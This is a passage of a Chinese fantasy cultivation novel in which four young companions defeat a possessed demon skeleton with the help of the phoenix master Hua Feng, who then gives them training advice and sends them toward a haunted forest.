离声缩起脑袋,红着脸解释道:“呃、因为快速提升了你的妖力,消耗会更多些,会有一小小会儿的不适,等下就好了……我、我这里还有回元丹,你来!”
她暗自咂舌,果然是因为自己灵力太过薄弱,吃一颗月华散的功效,能支持好一会儿呢……换成他们就完全不够用了!
顾桃和回过神来的陆以乐听到这话,当即决定还是不要吃药比较好,药效时间太短,如果他们解决不了眼前的困境,就是他们被解决,留着用来跑路可能更适合些……
“看、看来这个不行,试试这个,”离声翻找着小瓷瓶,又向他们丢过去一只圆肚金色小瓶。
“这个是新研制的金刚散,可以短时间最大程度强化你们的抗击打能力!”
“……”
顾桃伸手一捞,和陆以乐看了看小瓶,两人犹豫着要不要信她一回。
“阿声,你别闹……这个时候怎么能拿我们试药呢……”
君梦晕乎乎的往她靠近,等待副作用过去。
离声突然尖叫:“啊!小心!”
她脸色大变,急匆匆冲出躲藏的地方,伸出双手作出撑的动作,周身散发的灵气缠绕着聚往前方,形成一张洁白微透的羽毛护盾,将三人团团围住。
顾桃和陆以乐猛地转头一看,刹那间捏紧手中兵器。
只见羽盾外,几根粗壮肉线已经悄无声息地攻了过来。此时变得手指粗的肉线,颜色更加深沉,表面还覆盖着一层细密的倒刺。
离声灵力本弱,羽盾坚持不了太久。
陆以乐不敢耽搁,大喝一声,斜斜抡起炼狱冲出了保护圈。同时,顾桃也紧追出去。
离声收了护盾,跌坐在地,小脸泛起一阵青白。
她缓了口气,从面前松散泥土中,捡起一支纯白色的小瓶,倒出两颗回元丹,一颗喂到君梦嘴里,一颗放入自己口中。
两个男人再次与变异后的肉线缠斗,只是这次,明显吃力了许多。
得到妖丹加持的肉线,不止威力大增,攻击也不再像之前杂乱无章,如同有了独立的思维般,交交缠缠相互牵制他们的行动。
而妖骨上方,越来越多的肉线疯狂生长,渡过成长期便加入进来,一部分试图缠住他们手脚,一部分正面攻击着他们。
长时间的高强度战斗,陆以乐人类的身躯几乎快要力竭。他死咬着牙关,冷汗直冒,憋着一口气继续挥舞长枪。
砍断、重生……被血狼王以血肉滋养过的妖丹更加透亮艳丽,那些肉线就像得到母亲喂养的婴孩儿,开始不停的重复生长,无穷无尽。
“以乐,往后躲!!”
顾桃绷着脸,恼怒地踢开脚下半截肉线残端。
陆以乐此时已经嘴唇乌紫,身体完全到达极限,连长枪上的离火都已经维持不住了,却仍然犟着半步不退。
他信誓旦旦要跟着他们来除魔卫道,然而现在面对这些令人恶心的东西时,他又怎能躲在队友背后?!
顾桃见他不但不退,反而提起气来更加拼命,嘶吼声也愈发颤抖。
他怒火丛生,骂道:“你是傻子吗?!这样没完没了的对我们不利,先撤!”
上前蛮力一劈,将陆以乐身前肉线全部砍断,强行拉起他的臂膀准备后撤。
陆以乐被这一拽,整个人便松卸下来,踉跄着跟随在顾桃身后,眼睁睁看着他单手提斧,在肉线包围圈中劈出一条道,身上被倒刺划出一道道伤口,鲜血淋漓。
32.阴霾消散
疲累到极点的陆以乐被顾桃一拽,整个人便松卸下来,踉跄着跟随在后,眼睁睁看着他单手提斧,在肉线包围圈中劈出一条道,身上被倒刺划出一道道伤口,鲜血淋漓。
“桃哥!”重新打起精神的君梦上前一步大喊:“你们一直往前不要停留!”说完,又往嘴里抛了两粒月华散。
她眼神冰冷沉静,以指结印,脚尖在地面画了一大一小两个重叠圈,接着调动尽数妖力凝视着前方,朝顾桃他们奔来的方向在阵圈落下最后一点。
霎时,绿玉从她腰间滑落,暴涨藤身钻入泥土里迅速前进,如巨龙遁地,翻起一片狼藉。
只眨眼功夫,茂密的嫩绿藤枝在顾桃和陆以乐的四周破土而出,好像在跟肉线比谁长得更快似的。
伴随着一阵“噼里啪啦”响,藤茎交叉结成一片带刺巨网,将他们身后不断涌来的肉线拦住、缠绕;藤身炎蛊混合着剧烈妖毒,烧得肉线“滋滋”作响,线身被蚀灼出一个个烂洞。
前方的藤枝由君梦控制着,疯狂给他们开路,但凡有闯过来的粗壮肉线,一鞭子就抽过去,勒得它紧紧的再不能靠近。
离声看这阵仗如此吓人,生怕她吃不消,赶紧在手心倒上一堆黑色粉末,注入大量灵力,连一点护身的量都不留,以掌托起这团混合灵物从君梦侧面输送至她丹田气海。
君梦顿觉灵台清明,妖力消耗巨大后产生的不适感一扫而空。
就在两人离冲出包围圈仅仅一步之遥,一团黑雾从镇子方向蹿出,狠狠冲撞向君梦后背。
离声反应不及,惊呼一声,君梦已经被黑雾击中,喷出一口鲜血,身体向前扑过去。
手上结印松开,地面藤蔓群便委顿下来。
顾桃眼中布满血丝,嘶喊:“梦儿!!!”
随着大吼心火上涌,爆发出仅剩不多的力量,在藤枝落地以前,终于带着陆以乐冲了出来。
他立刻收了宣花急切奔来,稳稳接住瘫软的君梦。视线扫过她嘴角的血迹和痛苦的表情,瞬间六神无主,内心的恐慌几乎要溢出来,声音沙哑得厉害,一遍一遍急急呼喊她的名字。
离声跪在地上哭得抽抽搭搭,取出整个包裹铺在面前,在里面翻找着治疗药剂。
邪灵的攻击方式,她不知道,不知道应该用什么药……
“心脉……先护住她的心脉。”
陆以乐瘫坐在地,有气无力地对离声说道。
“心脉……?对、对!”
离声止住哭声,快速擦干了眼泪,从不起眼的角落翻找到一个红色花纹的小瓶。
她哆哆嗦嗦倒出一粒丹丸,示意顾桃捏开她紧闭的牙关,轻柔将药丸放入。
也不知是在安慰大家还是安慰自己,嘴上喃喃念叨:“没事的没事的,我肯定能治好她!”
绿玉恢复了原样,缩回君梦的腰间。
然而肉线却没有再继续攻击,倒像是抓紧时机般猛地回过头,包裹住一个年过半百的男子退回妖骨胸腔下方。
那男子被黑雾缠绕,但还是能看出整个身体枯瘦干瘪,气血将尽。
他朝这边冷冷看了一眼,几个小娃娃,待他吸收了本命妖丹再收拾也不迟,这具身体已经不太能控制得住了。
肉线将他从脚到头裹得严严实实,如同一只红色大蚕茧。
两条粗壮肉线扯起地上血肉模糊的血狼王残躯,抛甩到一旁。
君梦细小地闷哼一声,长长呼出一口气……
顾桃见药效已起,硬生生憋回了眼中的干涩。
离声小手搭上她的颈脉,凝神摒气探了一会儿。
?这……怎么会有阻碍拦下她深入的灵力?!
不过好在,脉搏虽弱,却稳定下来了。
“……没事了没事了!呜呜~~”
她收回手跪坐在腿上,垮下了紧绷的肩头,刚止住的哭声又抽泣起来。
顾桃轻轻擦去君梦嘴角的血迹,依依不舍地将她移交到离声怀中,兀自站起身来唤出宣花,怒目切齿往红色大茧飞奔过去。
不单单是要为梦儿报仇,也是绝对不能让它与本身融合,否则今晚必定是他们的死期!
陆以乐服下回元丹,强打精神跟上顾桃的脚步,此刻只盼望药效来得快些!再快一些!
红茧感受到漫天的敌意袭来,连忙从骨架上拽出一个被肉线捆住的老人,悬在两人的攻势前。
“!!仲爷爷!”
顾桃急忙撤力,长斧往旁边一劈,地面被砸出一个大缝。
一团黑雾从红茧头部漫出,沉闷冰冷的声音飘过来:“没错,正是帮了你们的恩人……小子,可千万不要妄动!嘿嘿~”
仲老爷子紧闭双眼,脸色乌青,呼气多吸气少。
顾桃顿时束手无策,要他全然不顾老爷子的安危,他实在做不到。
陆以乐已经缓过来了,挑起长枪指向黑雾:“我可不认识!比起一个微不足道的老人,消灭了你这祸患更要紧!”
邪灵像是听到什么笑话般,扯着破锣嗓子大笑:“哈哈哈哈!那你动手吧~”
“……”
“你们人类,总是喜欢说些违背自己意愿的话,千百年了啊~还是一点都没变……哈哈哈哈”
陆以乐见它根本不吃这一套,也没了主意。
仲老爷子被勒得无比难受,回光返照般清醒过来一阵。
“杀了它……快、动手……”
顾桃攥紧了长斧,不语也不动。
趁着两人分神,邪灵率先伸出几条肉线,恶狠狠朝两人飞射过来。
“既然急着送死,那便成全你们!”
!!!
就在这危急关头,原本漆黑的天空渐渐泛起亮堂,一丝微弱的金红光芒漫上沙岩。
接着从远处传来一声清亮而威严的凤鸣声。
这声音仿佛蕴含着某种神圣的力量,让在场所有人都感到一阵心悸。
近在眼前的肉线像是被透明护盾挡住,撞在空气中猛地往回弹。
那红茧内的人型难耐地扭动两下,从里面发出“吱吱”声。
黑雾似乎对凤鸣声也极为忌惮,快速钻回了大茧中。
它惊慌失措地拼命包裹妖丹,或许只有尽快吸收了本命丹,才有逃过此劫的机会!
随着凤鸣声越来越近,一道金红色的身影如流星般从天边疾驰而来。
那是一只巨大的火凤,双翅展开遮天蔽日,羽毛上熊熊燃烧的火焰照亮了大地。
火凤的出现让那些肉线开始止不住地剧烈颤抖。
顾桃趁此时机,甩起长斧猛地掷出,长斧“呼啦啦”旋转着,精准无比切断了吊起仲老爷子的肉线。
他掠身向前双臂一伸,稳稳当当接住落下来的老人,快速往后退去。
此时,火凤也已经来到了妖骨上方。
它再次发出一声凤鸣,这次的声音更加尖锐响亮。
红色大茧在凤鸣声中痛苦地挣扎起来,表面不断冒出飞散的黑色烟雾。
陆以乐从火凤出现起,便面露喜色,长枪别在身后招呼顾桃:“快走!”
顾桃不明所以,但看这情况,已经不需要他们了。
两人扶了仲老爷子就往离声那处去,离声早已为老人准备好了丹丸。
红茧中发出难听的吼叫,火凤则逗鸡一般咕咕地回应。
它歪着脑袋在空中盘旋一圈,突然猛地俯冲下来,本就松动的结界彻底被它撞散,空气中那股压抑的气息终于消失。
紧接着,它的一只利爪带着风声踏向那副妖骨背脊。
只听“咔嚓”一声脆响,坚不可摧的骨架竟然如同陶瓷般碎裂。
那些原本还在蠕动的肉线失去了妖骨的支撑,顿时瘫软成一团,样子十分恶心。
最为粗壮的几条肉线似乎还不甘心,挣扎着缠住火凤长腿。
然而,刚接触到火凤身上的火焰,线身很快就燃烧起来,倒像是成了引线,带着火焰一路往下燃烧。<
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红色大茧顿时火光冲天,连带着里面的人形,顷刻便化为灰烬。
一颗红色妖丹显露,浮于半空。
丹外覆着那层小小的红界,内部还有些许黑色在游动。看来,是那邪灵为了躲避焰火,藏进了妖丹之内。
解决了妖骨和肉线,火凤又将目光投向那枚妖丹。
它眼中一亮,猛地低下头,尖利的喙狠狠啄击。
那小巧坚硬的结界竟然没能撑过两轮啄击,随着一声裂响,表面红雾缓缓散去。
火凤再一啄,妖丹彻底碎成两半,也化成了一股红雾,被火凤吸入体内。
那一丝黑雾没了躲藏的地方,盘成一团正想逃走。
“给我死!!!”陆以乐手持炼狱,愤怒地飞奔刺向它。
“噗”地一声,邪灵发出凄厉的惨叫,枪尖猛烈的离火将它烧了个一干二净。
……
落霞岭终于恢复了平静。
火凤落地化为人形,是个极其俊美的中年男子。中等身材,着一身简陋的蓝底白边道袍;金色的瞳仁,火红长发已至腿弯,披在后背任它随着走动飞舞。
美男子嘴中啧啧有声,似在品味那妖丹的美味,背着手缓步踱到众人眼前。
“师父!”
陆以乐裂着嘴,惊喜溢于言表:“您怎么这么快就到了?!”
“呵呵~最近总觉得睡不太安稳,我就去找红月给你起了一卦,啧啧……你猜怎么着?”
华凤双手抱胸,身子往前倾,表情夸张地瞅着他。
“……”
见小徒转身便想走,他急忙拦下,强行告诉他答案:“你红月姨算出你有血光之灾,我这不是担心你嘛……哎哎!你听我讲完……”
由于担心这唯一的关门弟子,华凤师尊急匆匆赶往启明城,却在半空嗅到一股熟悉的气味。
他往下一看,这不是那傻徒儿的小跟班吗?
然而巡视一圈却只看到小跟班一个人骑马快赶,想来是徒儿已经遭遇了不幸!小跟班这是要回仙剑请老爷报仇的!!
华凤师尊哭哭啼啼地降落,拦了陆小果,厉声询问:我那乖徒儿被谁害了?!
……?
得知乖徒给他带了话,请他赶赴渡水镇,这才调转鸟头,又急匆匆赶到此处。
所幸,刚刚好!
陆以乐无奈地抚额道:“师父,您稳重些……”
“唔……好哒!”
华凤一边答应着,一边偏过头,露出洁白的牙齿,冲着乖徒儿的新朋友们招了招手:“大家好,我是新来的……”
华凤见着顾桃时一愣,习惯性的一歪头,默默回想着什么。
陆以乐见他收敛笑容,一脸好奇地盯着顾桃看,喊道:“师父?”
“嗯?”
华凤站直了身子,脸上表情很是耐人寻味,既想隐藏情绪显得高深些,又藏不住那颗强烈的猎奇心。
“没事!走,过去看看他们的伤势。”
“……”
仲老爷子服用回元丹后气色好了很多,坐在一旁歇息,对于没能救下镇长还是有些遗憾的,但起码小镇居民都安全了。
顾桃佝偻着身子半跪在离声身边,安安静静握着君梦的一只手。
离声仍旧跪坐在地,任由君梦躺在自己双腿上,以手覆于她的胸口上方,聚起小小一团灵力正在为她治疗。
华凤来到顾桃跟前,蹲下身子紧紧盯着他。
陆以乐在身后替他捡起那一地的红发。
顾桃抬起眼皮看了他一眼,微微点头致谢:“多谢师长救命。”
“嗯嗯!”
华凤也不在乎他这般敷衍。
似乎看够了顾桃,又歪着脑袋开始思考。
目光往旁边一瞥,瞧见了苍白脸色的君梦,又是一惊。
“噗……”他忽然笑出声,惹得顾桃抬起头来。
顾桃没心思管他是哪位,只对他莫名的笑声感到不悦。
33.少年们继续修行吧
华凤瞧顾桃因担心君梦而愁得魂不守舍,甚至都没有好脸给他瞧,满不在乎地笑道:
“小少年,莫担忧。”
他伸出并拢的两只手指,轻轻在君梦额上一点,一股橙色光芒顺着他的指尖钻进她的识海。
唔,有封印,还算周到。顺手又抽出一点她的记忆……
君梦先是睫毛动了动,后脸色逐渐红润,总算从昏睡中醒了过来。
她迷糊得睁开眼,就像睡着做了好长好长一个梦,有些分不清自己到底在哪。
离声轻呼:“啊,醒了!”这才破涕为笑,露出两只小梨窝。
陆以乐一瞧,不由心中小鹿乱撞。
顾桃也终于豁然开朗,扶她坐起来上下打量:“梦儿,感觉怎么样?”
“嗯?没事,我很好……”
君梦看了看周围,什么肉线、骨架,通通都不见了,倒是有一位令她惊喜的人,笑呵呵围在她的身边。
“!!仲爷爷!”
仲老爷子没事,大家也都平平安安的,开心!
就是……什么时候冒出来个红头发的漂亮男人?
她的目光停顿在华凤脸上,被他的金瞳吸引。
华凤故意冲她眨了眨眼,笑意直达眼底。
顾桃这时候才有心情顾及其他人,他转向华凤,伏身一拜诚挚道谢:“多谢师长再次相救!”
“哈哈哈哈!不谢不谢。”
华凤心情大好,站起身往小镇走。
是他。
还有她的血脉……还好。
难怪当初宁愿自己死也要救活他,原来是还有一个人需要他来守护呢……
华凤从回忆中抽离,皱起眉头。
但是这该遭鸡瘟的小子,重来一次,怎地还是这副臭德性!真讨厌!
……
天色大亮,阳光洒满了落霞岭,所有阴霾都在这一刻消散。
这场原本应该是简简单单、只是想赢得两件奖励的比赛,竟与那些看似遥不可及的大风波紧紧相连。
在这片广袤的大陆上,终究还是很弱小的他们,却以一种近乎完美的方式为这场意外画上了句号。
他们抬起头看看天,看向很远很远很远。
不完美的,大概只有天边的那片小坟包。
那个喜欢给孩子们买糖的男人,死的时候,兜里应该也有很多糖吧……
如果他们再强大些……
可惜没有如果……
……
四人收拾收拾,正准备带仲老爷子往山下走时,一阵极微弱的呻吟从废墟传过来。
众人循声望去,先前被肉线抛甩的血狼王如烂泥瘫在那儿,浑身千疮百孔。
它的身体已经缩小到正常体态,不!更加瘦小。
稀疏的狼毛也恢复成了银白色。
它吊着最后一口气,恢复了神智的混浊双眼看向众人,充满了复杂的情绪。
“谢……谢~”
顾桃犹豫片刻,还是走了过去,蹲下身子用手探了探它的灵台,最后同血狼王低语几句。
随后它便释怀地闭上了眼。
这具早已被邪灵妖丹污染的身魂,化作烟尘便随着风去了。
——
五年前,它还是一只倍受欺凌的普通血狼妖,因为不甘心,所以决定只身前往落霞岭最高处。
听说每当夜幕降临后,岩顶就会出现一只巨大黑影,仰头吸纳月之精华。
在众妖中流传着一种说法:那里有只极恶大妖,会吞噬每一个靠近的物种。
血狼妖抱着不成仁便身死的念头,毫不犹豫攀上高峰。
可接连数月,也没见到什么“巨大的黑影”,只是身为兽类的敏锐直觉,还是让它捕捉到一丝被窥视的感觉。
于是它开始借助月华一边修炼一边寻找,终于在岩峰的背面,发现一点黑红色的微光。
那是一处极险要的地方,它找到那副被风沙半埋的巨大骨架,但指引它的黑红光芒却再也没见过。
随着不断的挖掘,这整副骨身露了出来。
它钻进骨腔内,竟能感受到一股奇特的能量。
它继续往下清理,就在骨腔心口的位置,挖出了一颗红色妖丹,正缓缓吸收着地气。
这一挖,也惊动了骨内邪灵。
从邪灵口中得知,它本是千年前的大妖,大战时被宴锋将军斩杀于此。
亏得此处险峻隐蔽,妖魂飘飘荡荡才躲过了搜捕。之后便一直沉睡在自己的遗骨内,默默吸收天地灵气。
七十多年后的某天,一缕奇怪的魔气飘落而至,唤醒了它,并强化它的妖魂成为邪灵……
血狼妖听着它的讲述,不由想起那一抹黑红色。
再看手中的妖丹,原来那股魔气就藏在丹内!
邪灵本想附身到血狼妖身上,有了强健的肉身宿主,它才能成长得更快。
但当时血狼经过长时间侵染日月精华,加上妖丹在手,拼死反抗下,竟意外重伤了还处于灵体状态的它,甚至反而想吞掉它以增涨自己修为。
这倒霉邪灵醒来的时间也就短短四五十年,又没有宿主供养它,除了脑子能自主思考外,实在没有多少实力。
面对目前比它强的血狼妖,它只能暂避锋芒,狼狈逃出落霞岭。
它失去了妖丹和妖骨,元气大伤,正巧遇见因为附近恶妖增多而前来巡查的镇长,于是屈尊附于镇长身上。
虽说有了这具肉身,但镇长的修为与它的本体相比根本不值一提,连它的邪气都锁不住,能发挥的力量当然就更有限了。
但它熟知怎么重新在体内凝聚妖丹,只要花时间结出一颗新丹,外加勤于修行灵体,再隔一段时间换一副肉身,那么它就能抢回属于它的妖骨和本命丹。
等到三者相合后,再用附近的生灵为祭,它便能真正重新复活了。
而凝聚妖丹最快的方法,就是抢夺他人的修行之力,在自己体力炼化。
于是邪灵利用镇长身份之便,想方设法让人替它收集妖丹,暗中再吸食一部分外来人员,以尽可能长时间的维持镇长身份。
而血狼妖,从接触到红色妖丹那一刻起,就已经被那股邪恶之气感染,也分不清到底是因为邪灵,还是因为那团魔气,总之性情大变。
它抢占山头,奴役众妖,自封为王。
后来干脆就在妖骨下方,修建了一座洞府。
以骨身吸天地灵气,以灵气滋养妖丹。而它,又靠妖丹的力量提升修为。
另一方面,那妖丹和妖骨有了这便宜宿主,被供养得越发活络,甚至自主凝聚出了一方结界,将自身气息隐匿其中。
是以多年来,始终未曾引起外界的过多关注。
血狼王和被邪灵附身的镇长,一个盘踞山岭潜心修行,一个潜伏世间暗中布局。
双方各自盘算,静静等待一场不是你死就是你亡的较量。
可谁能料到,无意中闯入的两只小妖,将它们的计划全盘打碎。
……
君梦缠着顾桃:“桃哥,你跟它说了什么?”
“呵呵……”
“你说嘛,阿声也想知道!”
“……”离声张了张嘴,不敢吭声。
“就不说。”
“@#¥%$……”
他说:被邪念裹挟的日子不算数,下辈子还做敢闯巅峰的狼。
……
四人将仲老爷子妥善安置在镇集市上的一处宅院。
华凤拟好了书函,贴上自己昨日换下来的旧羽毛,幻化出一只小胖鸟,衔了函直接飞往宴锋将军府邸,不日便会有人过来接管镇子。
离声坚持要自掏腰包宴请师尊,向他谢恩。
于是他们在镇上最大的酒楼里要了个风雅小包间。
几人酒过三巡,加上师尊实在有些放飞自我,席间的气氛越发融洽。
华凤跑去和君梦挨着坐,一人握了一支蜜酱鸡腿,啃得满嘴流油、眼冒心心,想不到这小镇的厨子手艺倒是极好。
离声小酌几杯已是晕头转向,通红着脸颊猛站起身,大着舌头说着感谢师尊的话,又因为自己学艺不精,差点没能救下君梦而瘪了小嘴。
眼看迷糊的少女就要掉下珍珠,华凤急忙放下手中蹄膀,连连哄道:“莫哭莫哭!你还小着呢,能有这一手制药的天赋,不知道让多少丹门弟子羡慕!休要妄自菲薄。”
“呜呜~真的吗?”(?﹏?)
“绝对真哒!!”?(ˊ?ˋ)?
眼看四只小少年又乐呵起来,他目光一一扫过他们身上还残留着的伤痕,不禁表情柔和,眼中带笑。
先前根据君梦的记忆片段,就分析出了几人的作战问题,如果不提一嘴,总归不能安心。
他想了想,淡淡说道:“落霞岭一役,你们虽有侥幸,却也显露了几分默契。只是术法武艺尚待提升,我且说几句,你们要记好。”
四人连忙起身行礼,跟随陆以乐喊道:“弟子洗耳恭听,多谢师父(尊)指点!”
华凤得意洋洋地端出一副长辈姿态,金色的眼眸率先落到了顾桃的身上。
“你力大无穷,斧锤倒是很
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适合你,但你斧法刚猛有余却灵动不足。与那妖线缠斗时,若能收势稍快,借斧刃反弹之力变幻招式,便不会被多线牵制。记住,刚猛需有回旋,方能收放自如。”
然后,他侧脸望向身旁的君梦,差点被她舔嘴角肉渣的动作逗笑,连忙握拳捂嘴轻咳一声,勉强维持住了自己德高望众的形象。
“你将藤鞭和蛊毒相结合颇有些巧思,但妖力分布过散,浪费许多。可尝试将妖力凝于鞭梢,缠住目标后再爆发,妖毒更加集中,必定威力大增。”
接着,他的目光落到乖巧的离声身上,语气更温和了些。
“小仙灵的灵力最是纯净,辅助之力不俗。只是太过依赖药剂反而忽略了自身的能力,且用药时过程多繁琐,遇上强敌难保自身。若是能持续以灵力催动药剂附加其身,一来方便简捷,二来锻炼己身。需知,灵力亦如同脑力,转动起来,才能更加活络!以你才智,定然不难适应,你看可行?”
离声得师尊亲自指点,欢天喜地连连点头,激动得都说不出话来。
最后,华凤看向傻徒儿,一顿,还是没忍住招招手让他靠得近些。
陆以乐脸一黑,犹豫片刻还是走上前来,站定。
华凤一阵无语……臭小子又长高了,仰着头看他会不会没什么威严?叫他再走开会不会有些尴尬?我也站起来会不会更尴尬?啧……
最后,他选择坐在原处,挺直了背双手叉腰,提高音量教训道:
“你那炼狱是为师给你提炼的烧火棍吗?!光顾着往前捅,就那尖尖上一点儿离火,都烧不开为师的洗澡水!可惜了这身好灵力!!”
“聚拢!聚拢懂吗?!刺出去的时候一定要把枪身的灵力也往枪头上聚!每一次足够猛烈的离火,也相当于重新淬炼了枪尖的锋利程度,懂吗?!!”
一边大骂一边比比划划,完了还不解气,拿起一根筷子就往他身上戳戳戳,一副恨铁不成钢的模样……
“……”
“……”
教训完劣徒,浑身舒坦的华凤端起酒杯来到窗前,望向远方连绵的山峦,一本正经道:“三界之内,妖邪滋生之地远不止落霞岭……”
“南疆毒沼、北海冰域……就连我那出生的地方,如今亦是妖鬼横行。”
他顿了顿,一杯水酒下肚,目光重新落回四人身上。
“你们四个,术法互补,心性相合,若能结伴同行,一边游历消灭邪祟,一边磨合修行,不出百年,必有大成。”
陆以乐闻言,眉眼皆亮,兴奋道:“师父,您是说,我可以和他们一起四处斩妖除魔吗?!”
华凤晃动手指纠正他:“非是斩尽杀绝,而是辨明善恶,净化戾气。修行不止于提升术法,更在于明悟本心。你们在途中所见的生灵疾苦、正邪博弈,皆是修行的养分。”
四人听得专注,不住点头,将师尊的指点牢记于心。
“另外……”华凤思虑片刻,看向顾桃和君梦,沉声道:“万万不可卷入门派的纷争!离他们越远越好!记住我说的话!”
顾桃见他意有所指,正想询问。
君梦却抢先一步,满脸严肃恭敬一拜,说道:“师尊,我桃哥变化完整兽身之后就不能控制自己,求您指点。”
顾桃惊讶,心下微微波动,一股暖流自心房游向四肢百骇。
他以为没心没肝儿的小姑娘,原来一直是记挂着他的。
“呵呵,”华凤轻笑着扶起她来,眼露赞许之色,柔声答道:“不能掌控,是因为他现在的能力还不够。你不必过多担忧,那只是一份礼物……”
不等他们再次发出疑问,他摆了摆手,随后从头顶拔下一根红发,红发在他指尖化作一支燃烧的火羽。
他将火羽交到顾桃手中。
“这是我的本命凤羽,若在修行途中遇到生死危机,你以妖力催动,即可召唤出我的分身相助。但外力始终只能解一时之困,真正的依仗终究还是你们自己。”
顾桃刚接过来,羽上火光就此熄灭,化作一支普通白羽。
白羽入手温热,一股精纯的灵力在他掌中蔓延。
“多谢师尊。”
“嗯。”
华凤欣慰一笑,周身红火逐渐浓郁,身影也开始虚化。
“去吧,从这里出发,翻过断弓山。我来时见那里的骨林漫天鬼气,都快将那些坟包腌入味儿了,就将那里作为你们的下一站吧……”
话音未落,他的身影已化作一道金红火光直冲天际。
“切记,修行之路如攀绝壁,独行则易坠深渊,结伴方能登绝顶。”
34.雪窝里的血案
有华凤师尊的指引,四人便有了新的方向。
他们过了木桥,也懒得绕路,索性沿着西北方的山脊线向上攀爬。
顾桃与陆以乐两人按华凤的指点,一路上相互切磋较量,招式点到为止,斗得乐此不疲。
当他们爬到半山腰时,风中寒意就越来越重了,没多久竟飘起雪粒子。
几个小年轻刚开始还觉得很好玩,君梦也不嫌雪薄,和着泥土揉成黑乎乎一团,朝着两个少年郎就扔。
正在拆招的顾桃挥着斧子正要横劈过去,忽然发现陆以乐的眼神闪过一丝促狭。他心里咯噔一声,立刻避让刺来的长枪,反手划拉斧子往身后一挡、一甩。
还没来及转身查看,就听“啪叽”一声,伴随着君梦的咆哮在背后炸开。
“顾桃!!!”
君梦气血上涌,瞪着眼像要吃人,融化的雪水混着泥土,糊了她一脸。那张小脸上色彩极为丰富,红里泛着青,青里透着黑,黑里夹着灰。
“哈哈哈……”
陆以乐和离声笑得眼泪都快出来了。
顾桃瞧她这副狼狈模样,也没忍住笑,打趣道:“还使坏不?”一边说一边从怀里摸出帕子走过去。
刚才斧头的反光映出一片碧青色,他就知道又是这家伙不安分了。原本只是想稍微逗逗她,谁知道这傻妮子竟然混了那么多泥,反倒把自己搞得脏兮兮一片。
君梦没吭声,就真勾勾瞪着他,心中懊恼不已:这下好了!平白让他们瞧了笑话,那话怎么说的来着?哦,搬起石头砸自己的脚!
顾桃见她拉着脸,连忙将笑憋住,仔仔细细替她将脸擦干净。
几人打打闹闹地又往上爬了半个多时辰,越发厚实的积雪已经没过了脚背,山顶早已是白茫茫一片。
离声冻得小脸通红,君梦忙问顾桃要了一件妖兔皮缝制的斗篷,将她裹得严严实实的,又寻了处避风的石角让她坐下休息。
安顿好她以后,自己就跑去滚雪球了,撒着欢在雪地上玩得不亦乐乎。
她这般无拘无束的玩耍彻底感染了陆以乐。
他本身也年少,只是家中长辈所授无不是礼节规矩;能接触到的同龄人个个尊称他一声少宗主,哪还敢僭越?所以他的性子从来都是循规蹈矩,就连华凤师尊也总吐槽他没有半点少年人的活气。
他不知道少年人的活气该是什么样,但现在,那股“活气”像是被什么激发出来了,让他忍不住迈开步子就要靠过去,他也想试试在雪地上打滚是什么感觉,是不是真的那么快乐?
就在这时,顾桃出声喊道:“以乐,用你在演武台上使的招式与我练练。”
“哦,好!我也正想复盘呢。”
陆以乐玩乐的兴致瞬间就被他这句话勾散了,兴冲冲地唤出长枪就朝顾桃攻去。
顾桃学着将军府士兵的路数与他过招,心底那点莫名的慌总算逐渐安定下来。
这毕竟是被那小狐狸夸过好看的人……方才见他笑意盈盈地就要朝那边走,他便开始浑身不舒服。
虽然他明白,小狐狸顶多就是觉得他长得顺眼,并不会有什么别的想法。可他太清楚这妮子的感染力了……有些苗头,就不要让它冒出来才更好。
老老实实去缠阿声,莫要招惹我的狐狸!
就在他们各自休整耍闹时,离声突然发出一声惊呼,几人连忙围拢过来,顺着她指的方向看去。
山脊的另一边,是一片望不到边的森林,树梢白色的雪迹在远处渐渐淡去,取而代之的不是蓝天白云,却是厚厚一层青黑色,隐约还能看到一个塔尖模样的东西,隐藏在林间。
离声微微皱着眉头,心中不安:“师尊说的骨林,就是那里吧?”她紧了紧兔毛斗篷,脸上满是警惕。
她的灵力洁净而敏锐,在此地已能感受到风中那股不同寻常的阴冷,甚至若有似无般夹杂着无数细碎的哭嚎。
陆以乐收起长枪,磨拳擦掌道:“不管是什么,总归是要去看看的。”
这小子身为一个人族,也不知是哪来这么旺盛的精力。他张望着寻了一圈,指着侧面又说:“那边,沿着那条路走……”
就在雪林边缘,点点绿色从白皑中冒出尖来,排成两条不太规整的队列,蜿蜒着向后延伸,竟是一条被积雪掩盖的小路。
几人迈着步子,刚踏进雪林没多远,君梦就闻到空气中飘来一股淡淡的血腥。
她抬起头,正巧撞上顾桃也看过来。
“桃哥……”
顾桃点头:“是人血。”
陆以乐和离声听他们这么说,都下意识严肃起来,四人神色凝重继续往前。
十丈开外,人影绰绰,身着单薄粗布棉袄的村民围成一圈站在那里,不知在看什么热闹,冻得瑟瑟发抖也不愿离开,青紫的脸皮显得麻木又悲伤。
听得雪中动静,有个村民看过来,眼神惊异,将身子缩了缩。
最显眼的那位妖耳妖尾,身后紧跟着绿瞳高个儿,这两只铁定是妖了!但他们完全不似恶妖般丑陋,甚至可以说俊美;旁边的一男一女倒是人类模样。
四人看起来皆身姿出众、气质不凡,让他产生惧怕的同时又有些敬畏。
旁边的人觉察到他的异样,正要开口询问,余光瞥见来人后亦是一慌,惊呼出声:“是妖是人?!”
君梦爽朗答道:“有妖也有人!”
她的声音清亮而随意,不像是要扑过来吃人,村民们紧绷的精神便慢慢放松下来。
出于好奇,大家都想看看他们,围绕的圈子也就散开了。
包围圈中蹲着一人,躺着一人,不,躺着的是一具了无生气的尸体。
君梦又嗅了嗅,周围的气味除了在场的人,和一丝微弱妖气外,还多了几股不属于这里的血腥味,且都是从蹲着的这个男人身上传来的。
她眯起双眼打量他。
那蹲着的人双手前伸,还悬在尸体裸肚上方,满手的暗红稠液。
手的主人昂起头颅望着他们,声音有些激动:“他们是修行者!”
刚说完,他又赶紧垂首,继续缝补尸体肚子上的大洞,那牵扯碎肉的手法,一针一线的细致,都很是熟练。
这分裂的态度引起了顾桃的注意,他妖眼一审,确实又都是普通人……
只是这逝者的死亡方式太过诡异了些,按理说能将伤口撕裂成这般稀碎的横样,妖力不一定有多强,但戾气是肯定高的,不应该只留下这一丁点妖气。
陆以乐走过去,问道:“你们这是在做什么?”<
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p>没人敢接话,他们就是山里的土老帽,几时见过穿着如此奢华的贵人?
缝尸体的男人撇头偷睨了他一眼,“他被恶妖掏了心肝,我要先替他缝上,才好带回去安葬……”
有个猎户打扮的中年人连连点头,讨好似的补充道:“是的是的!被恶妖袭击的人,都是由路先生来收敛超度,他可是咱们村的大能人!”
